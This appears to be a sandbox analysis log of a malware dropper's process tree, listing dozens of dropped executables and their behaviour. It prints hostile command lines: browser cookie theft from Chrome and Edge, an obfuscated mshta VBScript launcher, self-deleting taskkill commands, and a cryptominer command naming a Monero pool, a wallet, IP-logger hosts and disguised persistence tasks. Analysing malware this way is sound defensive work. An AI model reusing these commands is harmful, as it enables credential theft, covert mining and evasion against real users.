PID 3188 wrote to memory of 3348	3188	Setup (20).exe	106
PID 3188 wrote to memory of 868	3188	Setup (20).exe	103
PID 3188 wrote to memory of 868	3188	Setup (20).exe	103
PID 3188 wrote to memory of 868	3188	Setup (20).exe	103
PID 3188 wrote to memory of 1204	3188	Setup (20).exe	104

C:\Users\Admin\AppData\Local\Temp\Setup (20).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (20).exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Users\Admin\Documents\KasQ4mLkqMX4XZiutKXpX2_t.exe
  "C:\Users\Admin\Documents\KasQ4mLkqMX4XZiutKXpX2_t.exe"
  2⤵
  - Executes dropped EXE
  PID:2844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 760
    3⤵
    - Program crash
    PID:5228
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 812
    3⤵
    - Program crash
    PID:2964
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 836
    3⤵
    - Program crash
    PID:5600
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 800
    3⤵
    - Program crash
    PID:5628
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 956
    3⤵
    - Program crash
    PID:4492
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 996
    3⤵
    - Program crash
    PID:6456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1020
    3⤵
    - Program crash
    PID:6720
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1428
    3⤵
    - Program crash
    PID:7804
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1444
    3⤵
    - Program crash
    PID:7496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1428
    3⤵
    - Program crash
    PID:8116
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1488
    3⤵
    - Program crash
    PID:2700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 900
    3⤵
    - Program crash
    PID:5880
- C:\Users\Admin\Documents\4bk09GurugJJy5bAOMSFiUkA.exe
  "C:\Users\Admin\Documents\4bk09GurugJJy5bAOMSFiUkA.exe"
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Users\Admin\Documents\v7yxzb1MWo4HpaeTEaI4OpC9.exe
  "C:\Users\Admin\Documents\v7yxzb1MWo4HpaeTEaI4OpC9.exe"
  2⤵
  - Executes dropped EXE
  PID:2700
- - C:\Users\Admin\Documents\v7yxzb1MWo4HpaeTEaI4OpC9.exe
    "C:\Users\Admin\Documents\v7yxzb1MWo4HpaeTEaI4OpC9.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:4312
- C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe
  "C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe"
  2⤵
  - Executes dropped EXE
  PID:2224
- - C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe
    "C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe"
    3⤵
    PID:5960
- - C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe
    "C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe"
    3⤵
    PID:5540
- - C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe
    "C:\Users\Admin\Documents\MGUZ12NddlPZ01MMC_jMHpjM.exe"
    3⤵
    PID:3212
- C:\Users\Admin\Documents\fxLchLH6rO0APMzIOOu5s9G5.exe
  "C:\Users\Admin\Documents\fxLchLH6rO0APMzIOOu5s9G5.exe"
  2⤵
  - Executes dropped EXE
  PID:3904
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 388
    3⤵
    - Program crash
    PID:5964
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 376
    3⤵
    - Program crash
    PID:3792
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 408
    3⤵
    - Program crash
    PID:6220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 512
    3⤵
    - Program crash
    PID:6752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 660
    3⤵
    - Program crash
    PID:6528
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 696
    3⤵
    - Program crash
    PID:6400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 516
    3⤵
    - Program crash
    PID:7956
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 712
    3⤵
    - Program crash
    PID:4396
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 812
    3⤵
    - Program crash
    PID:1060
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 780
    3⤵
    - Program crash
    PID:9388
- C:\Users\Admin\Documents\VbeF0fXpchnS2zy4MenWrIjs.exe
  "C:\Users\Admin\Documents\VbeF0fXpchnS2zy4MenWrIjs.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Users\Admin\Documents\DMkoF6DFrxRu7CLzg3AOtxiC.exe
  "C:\Users\Admin\Documents\DMkoF6DFrxRu7CLzg3AOtxiC.exe"
  2⤵
  - Executes dropped EXE
  PID:656
- - C:\Users\Admin\Documents\DMkoF6DFrxRu7CLzg3AOtxiC.exe
    C:\Users\Admin\Documents\DMkoF6DFrxRu7CLzg3AOtxiC.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5104
- C:\Users\Admin\Documents\FXR8cU4Kzvj7hMGNTtzMFm1S.exe
  "C:\Users\Admin\Documents\FXR8cU4Kzvj7hMGNTtzMFm1S.exe"
  2⤵
  - Executes dropped EXE
  PID:1160
- - C:\Users\Admin\AppData\Roaming\8043640.exe
    "C:\Users\Admin\AppData\Roaming\8043640.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4556
- - C:\Users\Admin\AppData\Roaming\6945193.exe
    "C:\Users\Admin\AppData\Roaming\6945193.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4528
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      Executes dropped EXE
      PID:4516
- - C:\Users\Admin\AppData\Roaming\3351322.exe
    "C:\Users\Admin\AppData\Roaming\3351322.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- - C:\Users\Admin\AppData\Roaming\7503683.exe
    "C:\Users\Admin\AppData\Roaming\7503683.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1124
- C:\Users\Admin\Documents\AFpdFqLcq56TEhsbwArrT7ev.exe
  "C:\Users\Admin\Documents\AFpdFqLcq56TEhsbwArrT7ev.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3520
- - C:\Users\Admin\Documents\AFpdFqLcq56TEhsbwArrT7ev.exe
    C:\Users\Admin\Documents\AFpdFqLcq56TEhsbwArrT7ev.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4788
- C:\Users\Admin\Documents\XwXaO9AAFnI4o7HWHgkWhoIf.exe
  "C:\Users\Admin\Documents\XwXaO9AAFnI4o7HWHgkWhoIf.exe"
  2⤵
  - Executes dropped EXE
  PID:2232
- C:\Users\Admin\Documents\tysYHHFuyqfPb_Bo5WKoMyZv.exe
  "C:\Users\Admin\Documents\tysYHHFuyqfPb_Bo5WKoMyZv.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1344
- C:\Users\Admin\Documents\2EKdMqWsXDtWr569eSL7QJOe.exe
  "C:\Users\Admin\Documents\2EKdMqWsXDtWr569eSL7QJOe.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:776
- C:\Users\Admin\Documents\PCO6muiacDYPFA8GUzuA_wXW.exe
  "C:\Users\Admin\Documents\PCO6muiacDYPFA8GUzuA_wXW.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1520
- C:\Users\Admin\Documents\lJY0Q13dWPnBSlC_TyDXto_O.exe
  "C:\Users\Admin\Documents\lJY0Q13dWPnBSlC_TyDXto_O.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Users\Admin\Documents\SABb6ehAN4ML_FPOvY62nsJZ.exe
  "C:\Users\Admin\Documents\SABb6ehAN4ML_FPOvY62nsJZ.exe"
  2⤵
  - Executes dropped EXE
  PID:1516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4800817160.exe"
    3⤵
    PID:5208
  - - C:\Users\Admin\AppData\Local\Temp\4800817160.exe
      "C:\Users\Admin\AppData\Local\Temp\4800817160.exe"
      4⤵
      PID:5788
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\8364107277.exe"
    3⤵
    PID:7448
  - - C:\Users\Admin\AppData\Local\Temp\8364107277.exe
      "C:\Users\Admin\AppData\Local\Temp\8364107277.exe"
      4⤵
      PID:6044
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6044 -s 744
        5⤵
        Program crash
        
        PID:8880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "SABb6ehAN4ML_FPOvY62nsJZ.exe" /f & erase "C:\Users\Admin\Documents\SABb6ehAN4ML_FPOvY62nsJZ.exe" & exit
    3⤵
    PID:3240
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "SABb6ehAN4ML_FPOvY62nsJZ.exe" /f
      4⤵
      Kills process with taskkill
      PID:7060
- C:\Users\Admin\Documents\0xIgdIX5GabnpCnwZBsrKybf.exe
  "C:\Users\Admin\Documents\0xIgdIX5GabnpCnwZBsrKybf.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Users\Admin\Documents\P4NA1wQW60cakGqL5S0Rh4_J.exe
  "C:\Users\Admin\Documents\P4NA1wQW60cakGqL5S0Rh4_J.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:2756
- - C:\Program Files (x86)\Company\NewProduct\customer3.exe
    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
    3⤵
    PID:4544
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2808
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:4772
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1160
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:6092
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:5832
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:5628
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:5368
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:2188
- - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
    3⤵
    - Executes dropped EXE
    PID:4652
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2980
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Suspicious use of SetThreadContext
      PID:656
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:10340
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:5208
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    PID:4612
- C:\Users\Admin\Documents\ZamG7Wg6NefkinYRAmqWxn0f.exe
  "C:\Users\Admin\Documents\ZamG7Wg6NefkinYRAmqWxn0f.exe"
  2⤵
  - Executes dropped EXE
  PID:868
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\ZamG7Wg6NefkinYRAmqWxn0f.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\ZamG7Wg6NefkinYRAmqWxn0f.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
    3⤵
    PID:4564
- C:\Users\Admin\Documents\Z2zSTNrLxJhGryAYLhXlXHk0.exe
  "C:\Users\Admin\Documents\Z2zSTNrLxJhGryAYLhXlXHk0.exe"
  2⤵
  - Executes dropped EXE
  PID:1204
- - C:\Users\Admin\Documents\Z2zSTNrLxJhGryAYLhXlXHk0.exe
    "C:\Users\Admin\Documents\Z2zSTNrLxJhGryAYLhXlXHk0.exe" -q
    3⤵
    - Executes dropped EXE
    PID:3908
- C:\Users\Admin\Documents\EjOqhMCHeCgxMt7_32W8SF1D.exe
  "C:\Users\Admin\Documents\EjOqhMCHeCgxMt7_32W8SF1D.exe"
  2⤵
  - Executes dropped EXE
  PID:204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "EjOqhMCHeCgxMt7_32W8SF1D.exe" /f & erase "C:\Users\Admin\Documents\EjOqhMCHeCgxMt7_32W8SF1D.exe" & exit
    3⤵
    PID:7900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "EjOqhMCHeCgxMt7_32W8SF1D.exe" /f
      4⤵
      Kills process with taskkill
      PID:4440
- C:\Users\Admin\Documents\kQYTbVXUFCJF2CLe9NNnvfIw.exe
  "C:\Users\Admin\Documents\kQYTbVXUFCJF2CLe9NNnvfIw.exe"
  2⤵
  - Executes dropped EXE
  PID:3348
- C:\Users\Admin\Documents\0Wp92IVMzEWjVJbcDh0CYeuq.exe
  "C:\Users\Admin\Documents\0Wp92IVMzEWjVJbcDh0CYeuq.exe"
  2⤵
  - Executes dropped EXE
  PID:3048
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 660
    3⤵
    - Program crash
    PID:3172
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 676
    3⤵
    - Program crash
    PID:4356
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 1068
    3⤵
    - Program crash
    PID:5432
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 712
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5368
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 708
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4356
- C:\Users\Admin\Documents\SRUVwzQo1qZr_SxBASumcdL0.exe
  "C:\Users\Admin\Documents\SRUVwzQo1qZr_SxBASumcdL0.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  PID:3640
- C:\Users\Admin\Documents\XdK1U2ArxYBOSlCWe_3Gk8UI.exe
  "C:\Users\Admin\Documents\XdK1U2ArxYBOSlCWe_3Gk8UI.exe"
  2⤵
  - Executes dropped EXE
  PID:4332

C:\Users\Admin\AppData\Local\Temp\is-635KO.tmp\XdK1U2ArxYBOSlCWe_3Gk8UI.tmp
"C:\Users\Admin\AppData\Local\Temp\is-635KO.tmp\XdK1U2ArxYBOSlCWe_3Gk8UI.tmp" /SL5="$10294,138429,56832,C:\Users\Admin\Documents\XdK1U2ArxYBOSlCWe_3Gk8UI.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4588
- C:\Users\Admin\AppData\Local\Temp\is-T43RT.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-T43RT.tmp\Setup.exe" /Verysilent
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3172
- - C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
    3⤵
    - Executes dropped EXE
    PID:5268
  - - C:\Users\Admin\AppData\Local\Temp\is-J9OFC.tmp\Stats.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-J9OFC.tmp\Stats.tmp" /SL5="$10376,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5496
    - - C:\Users\Admin\AppData\Local\Temp\is-9KB5K.tmp\builder.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-9KB5K.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'
        5⤵
        
        PID:6048
- - C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
    3⤵
    - Executes dropped EXE
    PID:5288
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 756
      4⤵
      Program crash
      PID:6284
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 808
      4⤵
      Program crash
      PID:580
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 784
      4⤵
      Program crash
      PID:4760
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 952
      4⤵
      Program crash
      PID:7444
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 820
      4⤵
      Program crash
      PID:6724
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 980
      4⤵
      Program crash
      PID:8004
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 1012
      4⤵
      Program crash
      PID:7028
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 1376
      4⤵
      Program crash
      PID:5508
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 1436
      4⤵
      Program crash
      PID:2180
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 1476
      4⤵
      Executes dropped EXE
      Program crash
      PID:5844
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 1432
      4⤵
      Program crash
      PID:7388
- - C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
    3⤵
    - Executes dropped EXE
    PID:5760
  - - C:\Users\Admin\Documents\ArjoGmpHNFglmdAAR_krC1A0.exe
      "C:\Users\Admin\Documents\ArjoGmpHNFglmdAAR_krC1A0.exe"
      4⤵
      PID:6876
    - - C:\Users\Admin\Documents\ArjoGmpHNFglmdAAR_krC1A0.exe
        
        C:\Users\Admin\Documents\ArjoGmpHNFglmdAAR_krC1A0.exe
        5⤵
        
        PID:7712
  - - C:\Users\Admin\Documents\_8Ar5kGEYpCpTv3rVIL3kTDv.exe
      "C:\Users\Admin\Documents\_8Ar5kGEYpCpTv3rVIL3kTDv.exe"
      4⤵
      PID:4688
  - - C:\Users\Admin\Documents\jUqPeFWTM_7kFlbfRmY0rZSk.exe
      "C:\Users\Admin\Documents\jUqPeFWTM_7kFlbfRmY0rZSk.exe"
      4⤵
      PID:6332
  - - C:\Users\Admin\Documents\1VfT4ko4G88UCHQD8fy01hKM.exe
      "C:\Users\Admin\Documents\1VfT4ko4G88UCHQD8fy01hKM.exe"
      4⤵
      PID:6536
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 764
        5⤵
        Program crash
        
        PID:4948
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 792
        5⤵
        Program crash
        
        PID:8200
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 820
        5⤵
        Program crash
        
        PID:8560
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 744
        5⤵
        Program crash
        
        PID:8792
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 964
        5⤵
        Program crash
        
        PID:9100
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 992
        5⤵
        Program crash
        
        PID:8364
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 1048
        5⤵
        Program crash
        
        PID:8100
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 1352
        5⤵
        Program crash
        
        PID:8896
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 1312
        5⤵
        Program crash
        
        PID:9180
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 1444
        5⤵
        Program crash
        
        PID:5048
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6536 -s 1416
        5⤵
        Program crash
        
        PID:8332
  - - C:\Users\Admin\Documents\Wr5lHtNP7fVYU25RobZfm34a.exe
      "C:\Users\Admin\Documents\Wr5lHtNP7fVYU25RobZfm34a.exe"
      4⤵
      PID:4564
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Wr5lHtNP7fVYU25RobZfm34a.exe" /f & erase "C:\Users\Admin\Documents\Wr5lHtNP7fVYU25RobZfm34a.exe" & exit
        5⤵
        
        PID:8656
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Wr5lHtNP7fVYU25RobZfm34a.exe" /f
        6⤵
        Kills process with taskkill
        
        PID:8852
  - - C:\Users\Admin\Documents\kArKaAcauzHxkzsSNtd3TCAQ.exe
      "C:\Users\Admin\Documents\kArKaAcauzHxkzsSNtd3TCAQ.exe"
      4⤵
      PID:6568
  - - C:\Users\Admin\Documents\CEoJEZeNG2o3YCUuFhuJ5xbN.exe
      "C:\Users\Admin\Documents\CEoJEZeNG2o3YCUuFhuJ5xbN.exe"
      4⤵
      PID:1012
    - - C:\Users\Admin\Documents\CEoJEZeNG2o3YCUuFhuJ5xbN.exe
        
        "C:\Users\Admin\Documents\CEoJEZeNG2o3YCUuFhuJ5xbN.exe"
        5⤵
        
        PID:7308
  - - C:\Users\Admin\Documents\phdPYepLZXMF0q5_OYmhurGg.exe
      "C:\Users\Admin\Documents\phdPYepLZXMF0q5_OYmhurGg.exe"
      4⤵
      PID:7104
  - - C:\Users\Admin\Documents\K15GMTDu6Sta6jQ4s2u1WGP3.exe
      "C:\Users\Admin\Documents\K15GMTDu6Sta6jQ4s2u1WGP3.exe"
      4⤵
      PID:6972
    - - C:\Users\Admin\Documents\K15GMTDu6Sta6jQ4s2u1WGP3.exe
        
        "C:\Users\Admin\Documents\K15GMTDu6Sta6jQ4s2u1WGP3.exe" -q
        5⤵
        
        PID:7032
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7032 -s 1072
        6⤵
        Program crash
        
        PID:8356
  - - C:\Users\Admin\Documents\L6E8oc2kXZ4oFw2JSLIhXAtd.exe
      "C:\Users\Admin\Documents\L6E8oc2kXZ4oFw2JSLIhXAtd.exe"
      4⤵
      PID:5516
  - - C:\Users\Admin\Documents\Ef3Z1MiAeBBFQN6jUCpx7ZFn.exe
      "C:\Users\Admin\Documents\Ef3Z1MiAeBBFQN6jUCpx7ZFn.exe"
